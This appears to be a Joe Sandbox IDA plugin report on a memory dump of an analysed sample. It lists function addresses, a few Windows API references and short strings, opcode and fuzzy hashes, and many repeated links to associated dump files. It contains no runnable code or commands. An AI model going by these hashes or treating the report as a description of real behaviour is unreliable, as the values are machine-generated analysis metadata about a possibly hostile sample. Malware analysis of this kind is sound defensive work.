Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 98dad0438b44c7c173ef59c9cebd6855b30235b3920afce834c5a7f7cc9da37a
Instruction ID: 737f74044771f2d85abbf6abb3ba1fde60f0f8d6019544551390f59b4b5d4b3c
Opcode Fuzzy Hash: 98dad0438b44c7c173ef59c9cebd6855b30235b3920afce834c5a7f7cc9da37a
Instruction Fuzzy Hash: C4B13C39610606DFDB15CF18C486B647BA1FF45369F298658E8DACF2A1C335ED82CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00D3F337 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00D3F34D

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 390d722b4b852cf99322885c4ce548d07c4158e7945bd8a39d62103f4cd7618b
Instruction ID: e8fc248a16d27ee5c65022a901456f125bc78634292ff5f05b7dd4053072a488
Opcode Fuzzy Hash: 390d722b4b852cf99322885c4ce548d07c4158e7945bd8a39d62103f4cd7618b
Instruction Fuzzy Hash: 8F516DB1D002199FDB25CF56D885BAABBF0FB48314F28853AD405EB294D3749905CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00D77436 Relevance: 1.6, Strings: 1, Instructions: 392COMMON

Download Yara Rule

Strings

0, xrefs: 00D775DA

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 3544bc00ed84951af7681316341d13ffcd7b48d6d1d732a792e74be87f59a4b0
Instruction ID: 9380084a4c3641749b5843e87ca50de67047475966bc436a8b4760d5eb491adb
Opcode Fuzzy Hash: 3544bc00ed84951af7681316341d13ffcd7b48d6d1d732a792e74be87f59a4b0
Instruction Fuzzy Hash: 5EE18E706086058FCB28CF68C584AAEB7B1FF45314B288E5DD49E9B291E730ED46CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D76F0D Relevance: 1.6, Strings: 1, Instructions: 388COMMON

Download Yara Rule

Strings

0, xrefs: 00D770A2

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: ec4157d041430be44bb3a945d8b83ba9650f4edc53e3b780cb01be9598bc5d95
Instruction ID: df6e180b6ada8cabe28dc0a69b595419f82e541d7e41093273f3bdae6f3df446
Opcode Fuzzy Hash: ec4157d041430be44bb3a945d8b83ba9650f4edc53e3b780cb01be9598bc5d95
Instruction Fuzzy Hash: 69E1AF70604A058FCB24CF28C580AAAB7F1FF45314B68CA5DE99A9B291F731ED41CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D77972 Relevance: 1.6, Strings: 1, Instructions: 388COMMON

Download Yara Rule

Strings

0, xrefs: 00D77B07

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: bb1f11315ee19d1d65ab88752c40f35ed7958ea65b7b78bcfe8a36b968111451
Instruction ID: 2d6e88bb9a1d28b64b6d93a703ccd6d706fd9314e80cb83055b94e60ccacef13
Opcode Fuzzy Hash: bb1f11315ee19d1d65ab88752c40f35ed7958ea65b7b78bcfe8a36b968111451
Instruction Fuzzy Hash: C5E17B706086058FCB25CF28C590ABEB7B2FF48314B288E59D59E9B291E730ED45CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D7594B Relevance: 1.6, Strings: 1, Instructions: 348COMMON

Download Yara Rule

Strings

0, xrefs: 00D75AE8

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: b2a3bd3951cbd23bfdcca9ae55fd72ad230e31a3817814e74c3ec2a0eb9bd233
Instruction ID: 0c2f56f2608209aa1d448c2a579a1a7a5d8277389c0ab425340a411244ca8da4
Opcode Fuzzy Hash: b2a3bd3951cbd23bfdcca9ae55fd72ad230e31a3817814e74c3ec2a0eb9bd233
Instruction Fuzzy Hash: E5C1B170900B468FCB25CF28E48177AB7B1AB45310F28861DD58E9B299E7B1ED45CB72

Uniqueness

Uniqueness Score: -1.00%

Function 00D754DA Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

0, xrefs: 00D75668

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 826708fc3c0aac64fa14c8606b929e027f2246e15dbcd7c7dcc5d02ad44b7907
Instruction ID: d97927b9c3cbddcc7666c1b8af21b9ba98709f62a7c3feefb103af8faa246875
Opcode Fuzzy Hash: 826708fc3c0aac64fa14c8606b929e027f2246e15dbcd7c7dcc5d02ad44b7907
Instruction Fuzzy Hash: 58C1F370900A468FCB28CF18E48067EBBB2EF05304F58861DD49E9B295E7B0ED45CB72

Uniqueness

Uniqueness Score: -1.00%

Function 00D75DCF Relevance: 1.6, Strings: 1, Instructions: 344COMMON

Download Yara Rule

Strings

0, xrefs: 00D75F5D

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: f49394e7a0eb1e39acc894b39c3d7e8beb44d42a4dcb0f64e43b7dd0efa49984
Instruction ID: c6f03791be996f842b7e549f4663f9ace113cd63e051551e396ec24ba26a0b0f
Opcode Fuzzy Hash: f49394e7a0eb1e39acc894b39c3d7e8beb44d42a4dcb0f64e43b7dd0efa49984
Instruction Fuzzy Hash: CFC1AF70A00E468FCB24CE68D49467ABBA1EF05310B18861DE49A9B295F7B1ED45CB72

Uniqueness

Uniqueness Score: -1.00%

Function 00D9B87F Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00D9B8D3

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: edc83ae7349b7d580fcdbbf1097c6c782e88abe2b791f1802577a50924ce790a
Instruction ID: 35feedb175aa804482485d28b192e661f3b03b696467e54159ea3e807d99fa98
Opcode Fuzzy Hash: edc83ae7349b7d580fcdbbf1097c6c782e88abe2b791f1802577a50924ce790a
Instruction Fuzzy Hash: A621B371625216BBDF289F29ED45B7A73ACEF44324B15007AFA06D6181EB34ED018B70

Uniqueness

Uniqueness Score: -1.00%

Function 00D7667E Relevance: 1.6, Strings: 1, Instructions: 326COMMON

Download Yara Rule

Strings

0, xrefs: 00D76825

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 48b2977bf63b1b8cfdf129c94eafeddb01efc9fd9fcc52ef45a002d1c56bcf00
Instruction ID: 80e970a5b871eaae515b45027ed559c24329b09a91f0174a500b70edef5365db
Opcode Fuzzy Hash: 48b2977bf63b1b8cfdf129c94eafeddb01efc9fd9fcc52ef45a002d1c56bcf00
Instruction Fuzzy Hash: 41B1BE70A00A0A8BCF28CF68C581ABEB7B5EF44704B58851DD59EA7690F731ED46CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00DE0C58 Relevance: 1.6, Strings: 1, Instructions: 324COMMON

Download Yara Rule

Strings

WPQR, xrefs: 00DE0F10

Memory Dump Source

Source File: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: WPQR
API String ID: 0-1038588538
Opcode ID: ca505c570ba1984262176c04f1f304d4860d080007251fab15cfc689af1e121f
Instruction ID: ed251fbf05d19e19a4ea8b470d4626c2006566cd87c3c461be00c9b9a9a9713a
Opcode Fuzzy Hash: ca505c570ba1984262176c04f1f304d4860d080007251fab15cfc689af1e121f
Instruction Fuzzy Hash: F791F2B16042418BDB24EF25CC91B7BB7E1EF85320F09462CF89697281E7B4E955C7B1

Uniqueness

Uniqueness Score: -1.00%

Function 00D76240 Relevance: 1.6, Strings: 1, Instructions: 322COMMON

Download Yara Rule

Strings

0, xrefs: 00D763D8

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 876ebbb8475af4cc810b7bce7f90213a82318b92dcdf955c284ab23c3d18ab13
Instruction ID: 34de4097cfabdf91214d823a41eeed10ab0975e352a335c7533297277697cce5
Opcode Fuzzy Hash: 876ebbb8475af4cc810b7bce7f90213a82318b92dcdf955c284ab23c3d18ab13
Instruction Fuzzy Hash: 13B19E70A00B0A9ACB24CFA8C581ABEB7F1EF44704B58851DE45EA7691F670ED46CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D76ACF Relevance: 1.6, Strings: 1, Instructions: 322COMMON

Download Yara Rule

Strings

0, xrefs: 00D76C67

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: 2cb3c63cef3877a1533659b02bb76024e7350aa09c2112527a09e7b5180712b1
Instruction ID: 8b30f397f675e72d4985c69cfb51600407edaf9b5d746a971388cb44e5c303c0
Opcode Fuzzy Hash: 2cb3c63cef3877a1533659b02bb76024e7350aa09c2112527a09e7b5180712b1
Instruction Fuzzy Hash: A7B19E74A00A098ECB24CF69C991ABEBBF5EF45700B18851DD49EE7690F630ED46CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D8125D Relevance: 1.6, Instructions: 1571COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1660951225.0000000000D0F000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1660931994.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D01000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000D0B000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1660951225.0000000000DAB000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661073695.0000000000DB3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661098394.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661147881.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661170625.0000000000E22000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661188825.0000000000E23000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661205992.0000000000E24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E26000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661223889.0000000000E28000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_PASS-1234.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ad7d2c018e39fbf13e159b7b1ae8453a8b54332fa059a63012676ec79bf772cd
Instruction ID: fa7aad122a78e1d977c92a1904fdc7ece9ccf1de4da7338fa8bff6a20ffeb642
Opcode Fuzzy Hash: ad7d2c018e39fbf13e159b7b1ae8453a8b54332fa059a63012676ec79bf772cd
